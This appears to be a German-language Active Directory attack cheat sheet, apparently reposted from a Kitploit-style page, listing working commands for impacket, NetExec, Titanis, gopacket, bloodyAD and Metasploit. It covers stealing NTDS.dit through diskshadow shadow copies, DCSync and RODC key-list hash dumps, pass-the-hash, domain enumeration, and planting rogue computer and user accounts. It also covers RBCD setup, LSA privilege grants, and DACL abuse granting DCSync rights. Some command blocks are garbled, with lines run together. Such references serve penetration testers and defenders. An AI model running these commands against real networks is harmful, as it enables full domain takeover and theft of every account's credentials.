⚠️ Die Skriptdatei muss CRLF-Zeilenenden haben. diskshadow.exe lehnt Skripte ab, die ausschließlich LF verwenden. Führen Sie vor dem Hochladen unix2dos shadow.dsh aus, oder erstellen Sie die Datei mit printf unter expliziter Verwendung von \r\n.

⚠️ Hinweis zur Wmi exec-Umleitung in Titanis: Fügen Sie kein > in das Wmi exec-Befehlsargument ein — Titanis parst > auf besondere Weise und die Prozesserstellung schlägt mit ERROR_FILE_NOT_FOUND fehl. Falls Sie die Ausgabe erfassen müssen, schreiben Sie eine .bat-Datei mit der Umleitung, laden Sie sie separat hoch und führen Sie dann die BAT-Datei aus.```bash

Step 1 — create diskshadow script locally (CRLF required)

cat > shadow.dsh << 'EOF' set context persistent nowriters set metadata C:\Windows\Temp\meta.cab add volume C: alias trophy create expose %trophy% Z: EOF unix2dos shadow.dsh # ← required; diskshadow rejects LF-only scripts

Step 2 — upload script to DC

smbclient.py DOMAIN/Administrator:[email protected]

smb: > put shadow.dsh Windows\Temp\shadow.dsh

Titanis — upload

Smb2Client put shadow.dsh "\192.168.1.1\C$\Windows\Temp\shadow.dsh"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 3 — execute diskshadow and copy NTDS.dit

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

Titanis — exec (no > redirect in command arg; use cmd.exe /c for copy)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

Step 4 — retrieve files

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ntds.dit ntds.dit

smb: > get Windows\Temp\SYSTEM SYSTEM

Titanis — retrieve

Smb2Client get "\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 5 — clean up shadow and parse offline

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s - delete shadows volume trophy" secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL gosecretsdump -ntds ntds.dit -system SYSTEM # faster alternative for large NTDS files

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### NTDS-Dump per Kerb-Key-List (RODC)

> Extrahiert AES-Kerberos-Schlüssel für alle Domänenkonten über das RODC-Schlüsselreplikationsprotokoll. Erfordert den AES-Schlüssel oder NT-Hash eines RODC-`krbtgt`-Kontos (`krbtgt_XXXXX`). Verwendet kein DRSUAPI oder VSS — nützlich in Umgebungen, in denen DCSync blockiert ist. Stellt nur Kerberos-Schlüssel wieder her, nicht direkt NTLM-Hashes (obwohl NTLM aus RC4-Schlüsseln abgeleitet werden kann).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

↑ Back to Index


NTDS Offline Parsing

Bei einem gestohlenen ntds.dit und SYSTEM-Hive (aus VSS, IFM, Backup oder Backup-Semantik-Pull) alle Hashes lokal extrahieren, ohne den DC erneut zu kontaktieren.```bash

gosecretsdump — Go reimplementation; dramatically faster on large NTDS files

(secretsdump can take 20+ minutes; gosecretsdump completes in under a minute)

gosecretsdump -ntds ntds.dit -system SYSTEM gosecretsdump -ntds ntds.dit -system SYSTEM -enabled # enabled accounts only gosecretsdump -ntds ntds.dit -system SYSTEM -history # include password history gosecretsdump -ntds ntds.dit -system SYSTEM -out hashes.txt

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

↑ Zurück zum Index


5. Enumeration

Domänenbenutzer enumerieren (SAMR)```bash

impacket

samrdump.py DOMAIN/jdoe:[email protected] net.py DOMAIN/jdoe:[email protected] user

enum4linux-ng

enum4linux-ng -U 192.168.1.10 -u jdoe -p Password123

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --users

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomusers"

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> adinfo

Titanis

Sam enumusers 192.168.1.10 -UserName jdoe -Password Password123

gopacket — SAMR user enumeration

samrdump DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

samrdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Gruppen / Lokale Aliase auflisten```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

↑ Zurück zum Index


SID Brute Force / Lookup```bash

impacket — brute force RIDs

lookupsid.py DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --rid-brute

enum4linux-ng

enum4linux-ng -R 192.168.1.10 -u jdoe -p Password123

Titanis — resolve SID

Lsa lookupsid 192.168.1.10 -UserName jdoe -Password Password123
S-1-5-21-1234567890-1234567890-1234567890-500

Titanis — name to SID

Lsa lookupname 192.168.1.10 -UserName jdoe -Password Password123 Administrator jdoe

gopacket — RID brute force (resolves SIDs, dumps domain SID + usernames)

lookupsid DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

lookupsid -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — null session (if allowed)

lookupsid DOMAIN/@192.168.1.10

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### RPC-Endpunkte auflisten```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

↑ Zurück zum Index


WMI abfragen```bash

impacket

wmiquery.py -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

impacket — pass-the-hash

wmiquery.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-query "SELECT * FROM Win32_Process" DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --wmi "SELECT * FROM Win32_Process"

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
--wmi "SELECT * FROM Win32_Process"

Titanis

Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
"SELECT * FROM Win32_Process" Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
-OutputFields Caption,ProcessId,ParentProcessId "SELECT * FROM Win32_Process"

gopacket — WQL query (password)

wmiquery -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

wmiquery -query "SELECT * FROM Win32_Process"
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### WMI-Methodenaufruf```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

↑ Zurück zum Index


Vorgänge in der Remoteregistrierung```bash

impacket — list key

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

NetExec — read a registry value (via -x)

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags"

Titanis — list key

Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion

impacket — read a value

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags

Titanis — read a value

Reg get 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SYSTEM/CurrentControlSet/Control/Lsa LsaCfgFlags

gopacket — query a key

reg query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion DOMAIN/jdoe:[email protected]

gopacket — read a value

reg query -keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg query -keyName HKLM\SOFTWARE -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — set a value

reg.py DOMAIN/jdoe:[email protected] add
-keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd "TestData"

Titanis — set a value

Reg set 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKCU/Software/Test sz:TestValue=TestData

gopacket — set a value

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData DOMAIN/jdoe:[email protected]

gopacket — delete a value

reg delete -keyName HKCU\Software\Test -v TestValue DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Sicherheitsdeskriptor des Registrierungsschlüssels```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

↑ Zurück zum Index


Service-Enumeration```bash

impacket

services.py DOMAIN/jdoe:[email protected] list

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --services

aiosmb — interactive client

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> services

smb> tasks

Titanis — query all services

Scm query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

impacket — start / stop

services.py DOMAIN/jdoe:[email protected] start -name Spooler services.py DOMAIN/jdoe:[email protected] stop -name Spooler

Titanis — start / stop

Scm start 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler

Titanis — create / delete

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe" Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

gopacket — list all services

services DOMAIN/jdoe:[email protected] list

gopacket — pass-the-hash

services -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] list

gopacket — query status of a single service

services DOMAIN/jdoe:[email protected] status -name Spooler

gopacket — start / stop

services DOMAIN/jdoe:[email protected] start -name Spooler services DOMAIN/jdoe:[email protected] stop -name Spooler

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### LSA-Berechtigungsverwaltung```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

↑ Zurück zum Index


LSA-Berechtigungs- und Kontenaufzählung```bash

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "lsaenumsid" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumprivs"

enum4linux-ng

enum4linux-ng -P 192.168.1.10 -u jdoe -p Password123

Titanis

Lsa enumaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # requires admin Lsa enumprivaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -Privilege SeDebugPrivilege Lsa getprivs 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getrights 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe

root@kitploit:~
[↑ Zurück zum Index](#index)

---

## 6. Active Directory / LDAP

### AD-Benutzer / -Computer auflisten```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Zurück zum Index


GPO- und Domänenvertrauens-Enumeration```bash

NetExec — BloodHound collection (includes GPOs and trusts)

netexec ldap 192.168.1.1 -u jdoe -p Password123 --bloodhound --collection All

bloodyAD — domain trusts

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search
--filter "(objectClass=trustedDomain)" --attr name,trustDirection,trustType,flatName

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> trusts

Titanis — enumerate GPO containers

Use Ldap query + -FollowReferrals on Linux; -OutputFields comma list works on Windows only

Linux: use -OutputStyle List and parse, or -OutputFields * and grep

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath,versionNumber -FollowReferrals

Titanis — enumerate domain trusts

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=trustedDomain)"
-OutputFields name,trustDirection,trustType,trustAttributes,flatName -FollowReferrals

Titanis — Kerberos auth variants

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1
-Password Password123 "(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath -FollowReferrals

⚠️ -TicketCache only works with Titanis-native ccache; use -Tgt with a Titanis-generated TGT instead

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN \

-TicketCache jdoe.ccache "(objectClass=trustedDomain)" -OutputFields * -FollowReferrals

ldapsearch — raw GPO objects

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Policies,CN=System,DC=domain,DC=local" "(objectClass=groupPolicyContainer)"
displayName gPCFileSysPath

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Delegationskonfigurationen finden```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Zurück zum Index


Ein Computerkonto hinzufügen```bash

impacket — SAMR method (no LDAPS required)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — LDAPS method

addcomputer.py -method LDAPS -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash (SAMR)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add computer EVILPC$ Password123!

NetExec

netexec smb 192.168.1.1 -u jdoe -p Password123 -M add-computer -o NAME=EVILPC$ PASSWORD=Password123

Titanis — plain LDAP (creates account, unicodePwd not set without -Ssl)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

Titanis — LDAPS (sets unicodePwd; use full DN as ObjectName)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
-NewPassword Password123! -Ssl
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

gopacket — SAMR method (plain LDAP or no LDAPS; confirmed working with -Ssl flag on Titanis)

addcomputer -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

gopacket — LDAP method (requires -port 389; use -Ssl / -port 636 for LDAPS)

addcomputer -method LDAP -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### Ein Benutzerkonto hinzufügen```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

↑ Zurück zum Index


RBCD setzen```bash

impacket

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 set object TARGET$
msDS-AllowedToActOnBehalfOfOtherIdentity -v ''

gopacket — set RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity; requires -port 389)

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — read current RBCD value

rbcd -delegate-to TARGET$ -action read
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ Zurück zum Index](#index)

---

### DACL-Missbrauch

> **Titanis-Status:** Keine ACE-Schreibfähigkeit. `bloodyAD` ist die bevorzugte Nicht-Impacket-Option. `dacledit.py` / `owneredit.py` sind die Impacket-Fallbacks.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
